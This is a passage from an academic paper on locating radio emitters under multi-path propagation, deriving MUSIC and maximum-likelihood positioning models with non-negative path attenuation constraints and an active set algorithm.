The vector $\mathbf{a}\left( k \right)$ of a candidate emitter in the MUSIC algorithm ([17](#FD17-sensors-18-00892){ref-type="disp-formula"}) is similar to $\mathbf{a}_{d}\left( k \right)$, but the position of the *d*-th emitter is replaced by the candidate emitter position $\mathbf{p}_{e}$. Denote $\Gamma\left( k \right) \triangleq \Gamma_{d}\left( k \right)$ to simplify the explanation, and substitute ([18](#FD18-sensors-18-00892){ref-type="disp-formula"}) into ([17](#FD17-sensors-18-00892){ref-type="disp-formula"}):$${\lbrack\hat{\mathbf{p}_{e}},\hat{\mathbf{b}}\rbrack} = \arg\max Q\left( \mathbf{p}_{e},\mathbf{\alpha} \right) = \frac{1}{\mathbf{\alpha}^{H}\mathbf{E}\left( \mathbf{p}_{e} \right)\mathbf{\alpha}},$$ $$s.t.\left\{ \begin{array}{l} {\mathbf{E}\left( \mathbf{p}_{e} \right) = \sum\limits_{k = 1}^{K}\Gamma^{H}\left( k \right)\left\lbrack {\mathbf{I}_{MN} - \mathbf{U}_{s}\left( k \right)\mathbf{U}_{s}^{H}\left( k \right)} \right\rbrack\Gamma\left( k \right),} \\ {{\parallel \mathbf{\alpha} \parallel}_{F}^{2} = 1,} \\ {\mathbf{\alpha} \in \mathbb{C}^{ND},} \\ \end{array} \right.$$ Tom Tirer and Anthony J. Weiss studied similar programming in \[[@B35-sensors-18-00892]\]. They transformed the cost function into:$${\lbrack{\hat{\mathbf{p}}}_{e},\hat{\mathbf{\alpha}}\rbrack} = \arg\max\widetilde{Q}\left( \mathbf{p}_{e},\mathbf{\alpha} \right) = \frac{1}{\lambda_{\min}\left\{ {\mathbf{E}\left( \mathbf{p}_{e} \right)} \right\}},$$ where $\lambda_{\min}{\{ \cdot \}}$ represents the minimal eigenvalue of a matrix. It is a promotion result of the maximization QP, but it is only a "not bad" solution rather than the optimal one. If $\Gamma\left( k \right)$ is singular, $\mathbf{E}\left( \mathbf{p}_{e} \right)$ turns out to be singular, and $\lambda_{\min}\left\{ {\mathbf{E}\left( \mathbf{p}_{e} \right)} \right\} = 0$. In this case, the cost function reaches a peak. NSP-MUSIC only finds the solutions that make $\Gamma\left( k \right)$ singular rather than true emitter positions. From another point of view, if $\exists i,j$, which satisfy $\mathbf{e}_{i}\left( \mathbf{p}_{e} \right) \approx \mathbf{e}_{j}\left( \mathbf{p}_{e} \right)$, where $\mathbf{e}_{i}\left( \mathbf{p}_{e} \right)$ and $\mathbf{e}_{j}\left( \mathbf{p}_{e} \right)$ are the column *i* and column *j* in $\mathbf{E}\left( \mathbf{p}_{e} \right)$, the matrix $\mathbf{E}\left( \mathbf{p}_{e} \right)$ turns out to be singular or near singular (It should be noticed that, in a single path positioning application, $\Gamma\left( k \right)$ is a block diagonal matrix, and each block is an $M \times 1$ column vector. It is impossible that $\Gamma\left( k \right)$ has the same two columns, but this is possible for a multi-path positioning application. In a multi-path environment, $\Gamma\left( k \right)$ is a block diagonal matrix, and each block is an $M \times L$ matrix. It is possible that the block is singular.). In this case, the optimal estimations of path attenuations are $\hat{\mathbf{\alpha}} = {\lbrack{\hat{\alpha}}_{1},{\hat{\alpha}}_{2},\ldots,{\hat{\alpha}}_{\ell \cdot n}\rbrack}^{T}$, where: $${\hat{\alpha}}_{z} = \left\{ \begin{aligned} \frac{\sqrt{2}}{2} & {z = i,} \\ {- \frac{\sqrt{2}}{2}} & {z = j,} \\ 0 & {else.} \\ \end{aligned} \right.$$ ${\hat{\alpha}}_{z}$ is a feasible solution that satisfies ([20](#FD20-sensors-18-00892){ref-type="disp-formula"}). Substitute ([22](#FD22-sensors-18-00892){ref-type="disp-formula"}) into ([19](#FD19-sensors-18-00892){ref-type="disp-formula"}); $\left. Q\left( \mathbf{p}_{e},\mathbf{\alpha} \right)\rightarrow + \infty \right.$. If $\mathbf{\alpha}$ are complex scaled path attenuations, the cost function of NSP-MUSIC will reach a peak where $\mathbf{E}\left( \mathbf{p}_{e} \right)$ is singular or near singular. Above all, if the manifold matrix $\Gamma\left( k \right)$ is singular or near singular, SSP-MUSIC will fail to get the emitter positions. Besides, if $\Gamma\left( k \right)$ is singular or near singular and $\mathbf{\alpha}$ are complex path attenuations, NSP-MUSIC also fails to get the emitter positions. In the next section, we will discuss the singularity of the manifold matrix $\Gamma\left( k \right)$ and the necessity for non-negative real number constraints for path attenuations. ### 3.1.3. Singularity of the Manifold Matrix in the Presence of Multi-Path Propagation {#sec3dot1dot3-sensors-18-00892} We have discussed that SSP-MUSIC and NSP-MUSIC will fail to locate the emitters if $\Gamma\left( k \right)$ is a near singular matrix, and we get the conditions of a candidate that makes $\Gamma\left( k \right)$ near singular in [Appendix A](#app1-sensors-18-00892){ref-type="app"}. Unfortunately, $\Gamma\left( k \right)$ will always be near singular. For example, in a shortwave positioning application, the size of a shortwave antenna is large. If the receivers need to be installed on mobile platforms (e.g., aircraft), only one antenna can be installed in a receiver ($M = 1$). In this case, from the condition in Theorem A2 in [Appendix A](#app1-sensors-18-00892){ref-type="app"}, $a_{\ell_{1}n}\left( k \right) = a_{\ell_{2}n}\left( k \right),k = 1,2,\ldots,K$ always are satisfied, and the manifold matrix $\Gamma\left( k \right)$ of a CSMCis a singular matrix. In another application, the transponders are installed on a mobile platform (e.g., Unmanned Aerial Vehicle (UAV) platform or satellite platform). If one transponder is relatively close to another transponder, or two transponders and a receiving station are near collinear, this makes $\mathbf{a}_{\ell_{1}n}\left( k \right) \approx \mathbf{a}_{\ell_{2}n}\left( k \right),k = 1,2,\ldots,K$. In this situation, the conditions in Theorem A2 in [Appendix A](#app1-sensors-18-00892){ref-type="app"} are satisfied, and $\Gamma\left( k \right)$ turns out to be near singular. In addition, it is necessary to down convert the Radio Frequency (RF) signals to baseband signals firstly to avoid the multi-peak searching of the cost function (see [Figure 2](#sensors-18-00892-f002){ref-type="fig"}). The suboptimal peaks in [Figure 2](#sensors-18-00892-f002){ref-type="fig"}a are caused by the carrier wave. The higher the frequency of the carrier, the more suboptimal the peaks in the cost function. Besides, there is only one peak in the cost function for a baseband signal positioning model (see [Figure 2](#sensors-18-00892-f002){ref-type="fig"}b). [Figure 2](#sensors-18-00892-f002){ref-type="fig"}b is an up envelopeof [Figure 2](#sensors-18-00892-f002){ref-type="fig"}a. If the cost function is a surface with multiple peaks, it is difficult to develop a searching strategy except for a high density grid searching. However, it is easy to get the global optimal solution for a continuous function with a single peak (e.g., Steepest Descent Method (SDM), Newton Method (NM)). In a baseband signal positioning application, $\lambda \gg R$, where $\lambda$ is the wave length corresponding to the maximal frequency of the baseband signal, and *R* is the radius of the circle receiving array. If $\lambda \gg R$, it is easy to satisfy $\mathbf{a}_{\ell_{1}n}\left( k \right) \approx \mathbf{a}_{\ell_{2}n}\left( k \right),k = 1,2,\ldots,K$, and $\Gamma\left( k \right)$ is near singular. ### 3.1.4. Non-Negative Real Path Attenuation Constraints {#sec3dot1dot4-sensors-18-00892} Our model requires that path attenuations must be non-negative real numbers, but complex values in existing studies for narrow band signal positioning \[[@B18-sensors-18-00892],[@B29-sensors-18-00892],[@B31-sensors-18-00892],[@B32-sensors-18-00892],[@B33-sensors-18-00892]\]. Weiss ignored the path attenuations (set the attenuation $\alpha = 1$) in wide-band emitter positioning in \[[@B36-sensors-18-00892]\]. In a narrow band signal positioning application, it is assumed that $\mathbf{a}_{\ell n}\left( k \right) \approx \mathbf{a}_{\ell n}\left( k_{0} \right) \triangleq \mathbf{a}_{\ell n}$, where $k = 1,2,\cdots,K$, and $\omega_{k_{0}}$ is the carrier frequency. Based on the above assumptions, ([3](#FD3-sensors-18-00892){ref-type="disp-formula"}) turns out to be:$$\begin{array}{cl} {\mathbf{r}_{n}\left( k \right)} & {= \sum\limits_{\ell = 1}^{L}\sum\limits_{d = 1}^{D}\alpha_{d\ell n}\mathbf{a}_{\ell n}\left( k \right)e^{- i\omega_{k}{\overline{\mathbf{\tau}}}_{\ell d}}{\check{s}}_{d}\left( k \right) + \mathbf{n}\left( k \right)} \\ & {\approx \sum\limits_{\ell = 1}^{L}\sum\limits_{d = 1}^{D}\alpha_{d\ell n}e^{j\omega_{k_{0}}\tau}\mathbf{a}_{\ell n}e^{- i\omega_{k}{\overline{\mathbf{\tau}}}_{\ell d}}{\check{s}}_{d}\left( k \right) + \mathbf{n}\left( k \right),} \\ \end{array}$$ where $e^{j\omega_{k_{0}}\tau}$ is a phase adjustment item to satisfy $\left. e^{j\omega_{k_{0}}\tau}\mathbf{a}_{\ell n}\left( k_{0} \right)\rightarrow\mathbf{a}_{\ell n}\left( k \right) \right.$. Existing studies used the envelope information only to estimate the propagation delay and dropped the carrier phase information. $e^{j\omega_{k_{0}}\tau}$ was an adjustment factor for carrier phase alignment, and it was used to reduce the interference with the propagation delay estimation. Denote ${\overline{\alpha}}_{d\ell n} \triangleq \alpha_{d\ell n}e^{j\omega_{k_{0}}\tau}$; ([23](#FD23-sensors-18-00892){ref-type="disp-formula"}) turns out to be:$$\mathbf{r}_{n}\left( k \right) \approx \sum\limits_{\ell = 1}^{L}\sum\limits_{d = 1}^{D}{\overline{\alpha}}_{d\ell n}\mathbf{a}_{\ell n}e^{- i\omega_{k}{\overline{\mathbf{\tau}}}_{\ell d}}{\check{s}}_{d}\left( k \right) + \mathbf{n}\left( k \right),$$ where ${\overline{\alpha}}_{d\ell n}$ is a complex scalar representing the "channel attenuation" (It is not a real channel attenuation coefficient, but an equivalent parameter, which is determined by the real path attenuation and the model error caused by the narrow band signal assumption), and $\mathbf{a}_{\ell n}$ denotes the generalized array response matrix. The commonly-used DPD methods \[[@B18-sensors-18-00892]\] modeled the received signal as:$$\mathbf{r}_{n}\left( k \right) \approx \sum\limits_{d = 1}^{D}\alpha_{dn}\mathbf{a}_{n}\left( \mathbf{p}_{d} \right)e^{- i\omega_{k}\tau_{nd}}{\check{s}}_{d}\left( k \right) + \mathbf{n}\left( k \right).$$ ([25](#FD25-sensors-18-00892){ref-type="disp-formula"}) is an LoS positioning model for narrow band signal positioning, while ([24](#FD24-sensors-18-00892){ref-type="disp-formula"}) is an NLoS positioning model. Existing models with complex path attenuation assumptions are viewed as simplified models of ([3](#FD3-sensors-18-00892){ref-type="disp-formula"}) in a narrow band signal positioning application. We point out that the simplified model ([24](#FD24-sensors-18-00892){ref-type="disp-formula"}) can not be adopted either in a MUSIC method or in an ML method in a multi-path propagation and unknown wave form application. We have obtained that the manifold matrix $\Gamma\left( k \right)$ may be singular in [Section 3.1.3](#sec3dot1dot3-sensors-18-00892){ref-type="sec"} and discussed that if the path attenuations were complex numbers, a MUSIC method could not obtain the emitter positions correctly in [Section 3.1.2](#sec3dot1dot2-sensors-18-00892){ref-type="sec"}. We will discuss this further in [Section 4.1](#sec4dot1-sensors-18-00892){ref-type="sec"} to explain the necessity of the real and non-negative constraints in an ML method. Overall, we develop ([3](#FD3-sensors-18-00892){ref-type="disp-formula"}) as the signal model for positioning and constrain the path attenuations in $\mathbb{R}^{+}$. 3.2. Mathematical Model of MP-MUSIC {#sec3dot2-sensors-18-00892} ----------------------------------- In an MP-MUSIC method, the optimal estimation of $\mathbf{\alpha}$ for a fixed emitter position $\mathbf{p}_{e}$ is given by solving the following programming:$$\begin{array}{r} {\hat{\mathbf{\alpha}} = \arg\min Q\left( \mathbf{\alpha} \right) = \mathbf{\alpha}^{H}\mathbf{E}\left( \mathbf{p}_{e} \right)\mathbf{\alpha},} \\ \end{array}$$ $$\begin{array}{r} {s.t.\left\{ \begin{array}{l} {{\parallel \mathbf{\alpha} \parallel}_{1} = 1,} \\ {\mathbf{\alpha} \in \mathbb{R}^{LN},\mathbf{\alpha} \geq 0,} \\ {\mathbf{E}\left( \mathbf{p}_{e} \right) = \sum\limits_{k = 1}^{K}\Gamma^{H}\left( k \right)\left\lbrack {\mathbf{I}_{MN} - \mathbf{U}_{s}\left( k \right)\mathbf{U}_{s}^{H}\left( k \right)} \right\rbrack\Gamma\left( k \right).} \\ \end{array} \right.} \\ \end{array}$$ where ${\parallel \cdot \parallel}_{1}$ is the one norm of the vector (that is, the sum of the absolute values of the elements of the vector) and $\mathbf{I}_{MN}$ is an $MN \times MN$ identity matrix. The programming is a non-linear programming with real value constraints. There is an $LN$ dimensional searching for a candidate emitter position, and it is difficult to solve the programming directly. We remove the imaginary items in the programming without changing the optimal solution firstly and prove the convexity of the modified programming later. An iterative algorithm named ASA is proposed to solve the convex programming after the proof. ### 3.2.1. Remove the Imaginary Items in the Programming {#sec3dot2dot1-sensors-18-00892} Rewrite the objective function by:$$\begin{array}{r} {\mathbf{\alpha}^{H}\mathbf{E}\left( \mathbf{p}_{e} \right)\mathbf{\alpha} = \mathbf{\alpha}^{H}\Psi\mathbf{\alpha} + \mathbf{\alpha}^{H}\Phi\mathbf{\alpha},} \\ \end{array}$$ where $\Psi \triangleq {Re}\lbrack\mathbf{E}\left( \mathbf{p}_{e} \right)\rbrack$ is the real part of $\mathbf{E}\left( \mathbf{p}_{e} \right)$ and $\Phi \triangleq {Im}\lbrack\mathbf{E}\left( \mathbf{p}_{e} \right)\rbrack$ is the imaginary part of $\mathbf{E}\left( \mathbf{p}_{e} \right)$. $\Phi$ is a Hermitian matrix, which satisfies:$$\begin{array}{r} {\Phi_{i,j} = \left\{ \begin{array}{cl} 0 & {i = j,} \\ {- \Phi_{j,i}} & {{else}.} \\ \end{array} \right.} \\ \end{array}$$ where $\Phi_{i,j}$ is the element at the *i*-th row and *j*-th column of the matrix $\Phi$. Since $\mathbf{\alpha}$ is a non-negative real value vector and the diagonal elements of $\Phi$ are zeros, $$\begin{array}{cl} {\mathbf{\alpha}^{H}\Phi\mathbf{\alpha}} & {= \sum\limits_{i = 1}^{NL}{\sum\limits_{j = 1}^{NL}{\alpha_{i}\Phi_{i,j}\alpha_{j}}}} \\ & {= \sum\limits_{i = 2}^{NL}{\sum\limits_{j = 1}^{i - 1}\left( \alpha_{i}\Phi_{i,j}\alpha_{j} + \alpha_{j}\Phi_{j,i}\alpha_{i} \right)}} \\ & {= 0.} \\ \end{array}$$ Substitute ([29](#FD29-sensors-18-00892){ref-type="disp-formula"}) into ([27](#FD27-sensors-18-00892){ref-type="disp-formula"}), and the cost function turns out to be:$$\begin{array}{r} {\hat{\mathbf{\alpha}} = \arg\min q\left( \mathbf{\alpha} \right) = \mathbf{\alpha}^{H}\Psi\mathbf{\alpha}} \\ \end{array}$$ $$\begin{array}{r} {s.t.\left\{ \begin{array}{l} {{\parallel \mathbf{\alpha} \parallel}_{1} = 1,} \\ {\mathbf{\alpha} \in \mathbb{R}^{LN},\mathbf{\alpha} \geq 0.} \\ \end{array} \right.} \\ \end{array}$$ The programming ([30](#FD30-sensors-18-00892){ref-type="disp-formula"}) is a QP in the real field. If there are no inequality constraints and the objective function is convex, the Lagrange multiplier method is effective for solving the programming. However, the non-negative constraints of path attenuations are necessary due to the singularity of the array manifold. To obtain the optimal solution of ([30](#FD30-sensors-18-00892){ref-type="disp-formula"}), we verify the convexity of the programming firstly and design an algorithm to solve the convex programming. ### 3.2.2. Convexity of the Programming {#sec3dot2dot2-sensors-18-00892} ([30](#FD30-sensors-18-00892){ref-type="disp-formula"}) *is a convex quadratic programming with linear equality constraints and lower bounds.* $$\begin{aligned} {\mathbf{E}\left( \mathbf{p}_{e} \right)} & {= \sum\limits_{k = 1}^{K}{\mathbf{E}\left( k \right)},} \\ \end{aligned}$$ where: $$\begin{array}{cl} {\mathbf{E}\left( k \right)} & {= \Gamma^{H}\left( k \right)\left\lbrack {\mathbf{I}_{MN} - \mathbf{U}_{s}\left( k \right)\mathbf{U}_{s}^{H}\left( k \right)} \right\rbrack\Gamma\left( k \right)} \\ & {= \Gamma^{H}\left( k \right)\mathbf{U}_{n}\left( k \right)\mathbf{U}_{n}^{H}\left( k \right)\Gamma\left( k \right),} \\ \end{array}$$ where $\mathbf{U}_{n}$ is the noise subspace of the received signal. $\forall\mathbf{x} \in \mathbb{R}^{LN}$, $$\begin{array}{cl} {\mathbf{x}^{H}\mathbf{E}\left( \mathbf{p}_{e} \right)\mathbf{x}} & {= \sum\limits_{k = 1}^{K}\mathbf{x}^{H}\mathbf{E}\left( k \right)\mathbf{x}} \\ & {= \sum\limits_{k = 1}^{K}{\parallel \mathbf{x}^{H}\Gamma^{H}\left( k \right)\mathbf{U}_{n}\left( k \right) \parallel}^{2} \geq 0,} \\ \end{array}$$ $$\begin{aligned} {\mathbf{x}^{H}\Psi\mathbf{x}} & {= \mathbf{x}^{H}\mathbf{E}\left( \mathbf{p}_{e} \right)\mathbf{x} - \mathbf{x}^{H}\Phi\mathbf{x}.} \\ \end{aligned}$$ Since $\forall\mathbf{x} \in \mathbb{R}^{LN},\mathbf{x}^{H}\Phi\mathbf{x} = 0$, and substituting ([33](#FD33-sensors-18-00892){ref-type="disp-formula"}) into ([34](#FD34-sensors-18-00892){ref-type="disp-formula"}), we get $\mathbf{x}^{H}\Psi\mathbf{x} \geq 0$, and the objective function is Positive Semi-Definite (PSD). The optimization problem ([30](#FD30-sensors-18-00892){ref-type="disp-formula"}) is a convex quadratic programming with linear equality constraints and lower bounds. ☐ It is possible to find the global optimal solution for a convex quadratic programming \[[@B37-sensors-18-00892],[@B38-sensors-18-00892]\]. The interior-point algorithm or any Heuristic Searching Algorithm (HSA) can be adopted to solve the optimization problem with equality constraints and lower bounds. However, those algorithms apply numerical searching strategies with low efficiencies. We introduce a faster algorithm named the Active Set Algorithm (ASA) in this paper to obtain the global optimal solution base on some theoretical analysis. ### 3.2.3. Active Set Algorithm {#sec3dot2dot3-sensors-18-00892} The first widely-used algorithm for solving a similar problem is the active set method published by Lawson and Hanson \[[@B34-sensors-18-00892],[@B39-sensors-18-00892]\]. They proposed an active set method to solve the Non-Negative Least Squares (NNLS). *Active set \[[@B40-sensors-18-00892]\] In mathematical optimization, a problem is defined using an objective function to minimize or maximize and a set of constraints:* $$g_{1}\left( x \right) \geq 0,\cdots,g_{k}\left( x \right) \geq 0.$$ *Given a point $x$ in the feasible region, a constraint:* $$g_{i}\left( x \right) \geq 0,$$ *is called active at x if $g_{i}\left( x \right) = 0$ and inactive at x if $g_{i}\left( x \right) > 0$. The set of active ones is called the active set and denoted by $\left. \mathcal{A}\left( x \right) = \{ i \middle| g_{i}\left( x \right) = 0\} \right.$.* We describe the active set method for solving the quadratic programs of the form ([30](#FD30-sensors-18-00892){ref-type="disp-formula"}) containing equality and inequality constraints based on the methods described in \[[@B34-sensors-18-00892],[@B39-sensors-18-00892]\]. Denote the optimal solution of ([30](#FD30-sensors-18-00892){ref-type="disp-formula"}) by $\hat{\mathbf{\alpha}}$. If the active set of the optimal solution $\mathcal{A}\left( \hat{\mathbf{\alpha}} \right)$ were known in advance, we could find the optimal solution $\hat{\mathbf{\alpha}}$ by applying techniques, such as the Lagrange multiplier method, for equality-constrained QP. The prior knowledge of the active set accelerates the algorithm effectively. $\mathbf{\alpha}^{*} = {\lbrack\alpha_{1}^{*},\alpha_{2}^{*},\ldots,\alpha_{LN}^{*}\rbrack}^{T}$ represents the real, but unknown path attenuations. If the *n*-th receiver cannot receive the signal from the emitter, which is reflected by the *ℓ*-th transponder, $\alpha_{\ell n}^{*} = 0$, otherwise, $\alpha_{\ell n}^{*} > 0$. In most cases, we known the set $\left. \{ i \middle| \alpha_{i}^{*} = 0\} \right.$ in advance and have deleted the unconnected path in the model. without loss of generality, we set $\alpha_{i}^{*} > 0,i = 1,2,\ldots,LN$. Denote $\hat{\mathbf{\alpha}}$ as an estimation of $\mathbf{\alpha}^{*}$, that is $\hat{\mathbf{\alpha}} \approx \mathbf{\alpha}^{*}$. Denote $\hat{\mathbf{\alpha}} = \mathbf{\alpha}^{*} + \varepsilon$, where $\varepsilon$ is the estimation error vector of $\mathbf{\alpha}^{*}$. Since $\alpha_{i}^{*} > 0$, $i = 1,2,\ldots,LN$, we set the initial work set by $\mathcal{W}^{(0)} = \varnothing$. The searching path of the active set algorithm is strictly in the feasible region. Choose a feasible solution as the initial point of the algorithm. Solve the QP with equality constraints in the work set, and get the optimal searching direction. if the searching direction is blocked by some constraints not in the work set, add the constraints, which block the searching path firstly, into the work set. Resolve the new QP with the updated work set, until the searching direction is not blocked by any constraints. The algorithm reaches a local optimum for the current work set. To get an even better solution, we drop one active constraint in the work set to relax the programming. If the objective function cannot be decreased for all constraints in the work set, we get the optimal solution of the original programming. Otherwise, drop the constraint that causes the fastest decrease. The detail of the ASA is described in Section 1 of the Supplementary File. The spatial spectrum of an emitter is determined by substituting the $\hat{\mathbf{\alpha}}$ into the MUSIC cost function ([19](#FD19-sensors-18-00892){ref-type="disp-formula"}). ### 3.2.4. MP-MUSIC Algorithm {#sec3dot2dot4-sensors-18-00892} The spatial spectrum of the emitter positions requires only a three-dimensional searching, and the size of $\mathbf{E}\left( \mathbf{p}_{e} \right)$ is $LN \times LN$, which is usually rather small. The detailed procedure of the MP-MUSIC algorithm is represented in Algorithm 1.    Algorithm 1: MP-MUSIC algorithm. The performance of the MP-MUSIC algorithm is determined by the estimation precision of $\hat{\mathbf{R}}\left( k \right)$. If the number of snapshots is not enough, neither the covariance matrix $\hat{\mathbf{R}}\left( k \right)$ nor the spatial spectrum $q\left( \mathbf{p}_{e} \right)$ can be estimated precisely. In a time-sensitive positioning application, it is difficult to get enough snapshots to estimate $\hat{\mathbf{R}}\left( k \right)$. We develop a Maximum Likelihood method in the presence of Multi-path Propagation (MP-ML) to estimate the emitter positions directly. 4. MP-ML Method {#sec4-sensors-18-00892} =============== The MP-ML method maximizes the conditional likelihood function of the received signals. The noise is assumed as Additive White Gaussian Noise (AWGN) with a known standard deviation $\sigma$, 4.1. Mathematical Model of MP-ML {#sec4dot1-sensors-18-00892} -------------------------------- The likelihood function of the received signals is:$$P\left( \mathbf{r} \middle| \mathbf{\theta} \right) = \prod\limits_{k = 1}^{K}\frac{1}{\left| \pi\Sigma \right|}e^{- {\lbrack\mathbf{r}{(k)} - \mathbf{A}{(k)}\check{\mathbf{s}}{(k)}\rbrack}^{H}\Sigma^{- 1}{\lbrack\mathbf{r}{(k)} - \mathbf{A}{(k)}\check{\mathbf{s}}{(k)}\rbrack}},$$ where $\mathbf{r}$ is the observed data, $\Sigma$ is the covariance matrix of noises, which is defined in (6), and the unknown parameter vector $\mathbf{\theta} \triangleq {\lbrack\mathbf{p}_{e}^{T},\mathbf{\alpha}^{T},\mathbf{s}^{T}\rbrack}^{T}$ consists of:$$\begin{aligned} \mathbf{p}_{e} & {\triangleq {\lbrack\mathbf{p}_{e}^{T}\left( 1 \right),\mathbf{p}_{e}^{T}\left( 2 \right),\ldots,\mathbf{p}_{e}^{T}\left( D \right)\rbrack}^{T},} \\ {\mathbf{p}_{e}\left( d \right)} & {\triangleq {\lbrack p_{ex}\left( d \right),p_{ey}\left( d \right),p_{ez}\left( d \right)\rbrack}^{T},} \\ \overline{\mathbf{\alpha}} & {\triangleq {\lbrack{\overline{\mathbf{\alpha}}}_{1}^{T},{\overline{\mathbf{\alpha}}}_{2}^{T},\ldots,{\overline{\mathbf{\alpha}}}_{N}^{T}\rbrack}^{T},} \\ {\overline{\mathbf{\alpha}}}_{n} & {\triangleq {\lbrack\alpha_{1n}^{T},\alpha_{2n}^{T},\ldots,\alpha_{Dn}^{T}\rbrack}^{T},} \\ \check{\mathbf{s}} & {\triangleq {\lbrack{\check{\mathbf{s}}}^{T}\left( 1 \right),{\check{\mathbf{s}}}^{T}\left( 2 \right),\ldots,{\check{\mathbf{s}}}^{T}\left( K \right)\rbrack}^{T},} \\ \end{aligned}$$ where $\mathbf{\alpha}_{dn}$ and $\check{\mathbf{s}}\left( k \right)$ have been defined in ([5](#FD5-sensors-18-00892){ref-type="disp-formula"}). The log-likelihood function of ([37](#FD37-sensors-18-00892){ref-type="disp-formula"}) is:$$L\left( \mathbf{\theta} \right) = - KMN\log{\pi\sigma^{2}} - \frac{1}{\sigma^{2}}\sum\limits_{k = 1}^{K}{\lbrack\mathbf{r}\left( k \right) - \mathbf{A}\left( k \right)\check{\mathbf{s}}\left( k \right)\rbrack}^{H}{\lbrack\mathbf{r}\left( k \right) - \mathbf{A}\left( k \right)\check{\mathbf{s}}\left( k \right)\rbrack}.$$ Remove the constant items, and get the modified cost function of MP-ML:$$\hat{\mathbf{\theta}} = \arg\min\overline{Q}\left( \mathbf{\theta} \right) = \sum\limits_{k = 1}^{K}{\lbrack\mathbf{r}\left( k \right) - \mathbf{A}\left( k \right)\check{\mathbf{s}}\left( k \right)\rbrack}^{H}{\lbrack\mathbf{r}\left( k \right) - \mathbf{A}\left( k \right)\check{\mathbf{s}}\left( k \right)\rbrack}.$$ The searching space dimension of ([40](#FD40-sensors-18-00892){ref-type="disp-formula"}) is $3D + DNL + DK$, and it is necessary to reduce the searching space dimension. For fixed attenuations $\mathbf{\alpha}$ and emitter position combination $\mathbf{p}_{e}$ in ([40](#FD40-sensors-18-00892){ref-type="disp-formula"}), the optimal estimation of the source signals at frequency $\omega_{k}$ is:$$\hat{\check{\mathbf{s}}}\left( k \right) = \mathbf{A}^{+}\left( k \right)\mathbf{r}\left( k \right),$$ where $\mathbf{A}^{+}\left( k \right) \triangleq {\lbrack\mathbf{A}^{H}\left( k \right)\mathbf{A}\left( k \right)\rbrack}^{- 1}\mathbf{A}^{H}\left( k \right)$ is the Moore--Penrose inverse of $\mathbf{A}\left( k \right)$. Substitute ([41](#FD41-sensors-18-00892){ref-type="disp-formula"}) into ([40](#FD40-sensors-18-00892){ref-type="disp-formula"}), $$\hat{\mathbf{\eta}} = \arg\min\overline{Q}\left( \mathbf{\eta} \right) = \sum\limits_{k = 1}^{K}{\lbrack\mathbf{r}\left( k \right) - \mathbf{P}_{\mathbf{A}}\left( k \right)\mathbf{r}\left( k \right)\rbrack}^{H}{\lbrack\mathbf{r}\left( k \right) - \mathbf{P}_{\mathbf{A}(k)}\mathbf{r}\left( k \right)\rbrack},$$ where $\mathbf{\eta} \triangleq {\lbrack\mathbf{p}_{e}^{T},{\overline{\mathbf{\alpha}}}^{T}\rbrack}^{T}$, $\overline{\mathbf{\alpha}} = \mathbf{\alpha}\mathbf{I}_{D} \triangleq {\lbrack\alpha_{1,1,1},\cdots,\alpha_{d,\ell,n},\cdots,\alpha_{DLN}\rbrack}^{T}$, $\mathbf{I}_{D}$ is a column vector of *D* ones. $\mathbf{P}_{\mathbf{A}}\left( k \right) = \mathbf{A}\left( k \right)\mathbf{A}^{+}\left( k \right)$ is the projection matrix of $\mathbf{A}\left( k \right)$. Expand ([42](#FD42-sensors-18-00892){ref-type="disp-formula"}):$$\begin{aligned} {\overline{Q}\left( \mathbf{\eta} \right)} & {= \sum\limits_{k = 1}^{K}{\lbrack\mathbf{r}^{H}\left( k \right)\mathbf{r}\left( k \right) - \mathbf{r}^{H}\left( k \right)\mathbf{P}_{\mathbf{A}}^{H}\left( k \right)\mathbf{r}\left( k \right) - \mathbf{r}^{H}\left( k \right)\mathbf{P}_{\mathbf{A}}\left( k \right)\mathbf{r}\left( k \right) + \mathbf{r}^{H}\left( k \right)\mathbf{P}_{\mathbf{A}}^{H}\left( k \right)\mathbf{P}_{\mathbf{A}}\left( k \right)\mathbf{r}\left( k \right)\rbrack},} \\ \end{aligned}$$ and move the constant items $\mathbf{r}^{H}\left( k \right)\mathbf{r}\left( k \right)$. Applying the properties of the projection matrix $\mathbf{P}_{\mathbf{A}}\left( k \right) = \mathbf{P}_{\mathbf{A}}^{H}\left( k \right)$ and $\mathbf{P}_{\mathbf{A}}^{H}\left( k \right)\mathbf{P}_{\mathbf{A}}\left( k \right) = \mathbf{P}_{\mathbf{A}}\left( k \right)$, we get the modified programming of MP-ML:$$Q\left( \mathbf{\eta} \right) = - \sum\limits_{k = 0}^{K - 1}\mathbf{r}^{H}\left( k \right)\mathbf{P}_{\mathbf{A}}\left( k \right)\mathbf{r}\left( k \right),$$ $$\begin{array}{l} {s.t.\left\{ \begin{array}{l} {\mathbf{P}_{\mathbf{A}}\left( k \right) = \mathbf{A}\left( k,\mathbf{p}_{e} \right)\mathbf{A}^{+}\left( k,\mathbf{p}_{e} \right),} \\ {\mathbf{A}^{+}\left( k \right) = {\lbrack\mathbf{A}^{H}\left( k,\mathbf{p}_{e} \right)\mathbf{A}\left( k,\mathbf{p}_{e} \right)\rbrack}^{- 1}\mathbf{A}^{H}\left( k,\mathbf{p}_{e} \right),} \\ {\mathbf{A}\left( k,\mathbf{p}_{e} \right) = \Gamma\left( k,\mathbf{p}_{e} \right)\mathbf{\alpha},} \\ {\Gamma\left( k,\mathbf{p}_{e} \right) = \widetilde{\mathbf{A}}\left( k,\mathbf{p}_{e} \right)\mathbf{V}\left( k,\mathbf{p}_{e} \right),} \\ {\overline{\mathbf{\alpha}} = \mathbf{\alpha}\mathbf{I}_{D},} \\ {\overline{\mathbf{\alpha}} \in \mathbb{R}^{DLN},} \\ {\overline{\mathbf{\alpha}} \geq 0.} \\ \end{array} \right.} \\ \end{array}$$ There are two differences between our model and Bar-Shalom Ofer's model in \[[@B28-sensors-18-00892]\]. The first one is that only a single emitter and a single receiver were modeled in their work, but multiple emitters and multiple receivers are taken into consideration in our work. The second one is that there are complex path attenuations in \[[@B28-sensors-18-00892]\], but real non-negative path attenuations in our model. The cost function in \[[@B28-sensors-18-00892]\] was modeled as:$$\max Q\left( \mathbf{\eta} \right) = - \sum\limits_{k = 1}^{K}\frac{\mathbf{\alpha}^{H}\mathbf{f}\left( k \right)\mathbf{f}^{H}\left( k \right)\mathbf{\alpha}}{\mathbf{\alpha}^{H}\mathbf{C}\left( k \right)\mathbf{\alpha}}.$$ where $\mathbf{f}\left( k \right) \triangleq \Gamma^{H}\left( k,\mathbf{p}_{e} \right)\mathbf{r}\left( k \right)$, $\mathbf{C}\left( k \right) \triangleq \Gamma^{H}\left( 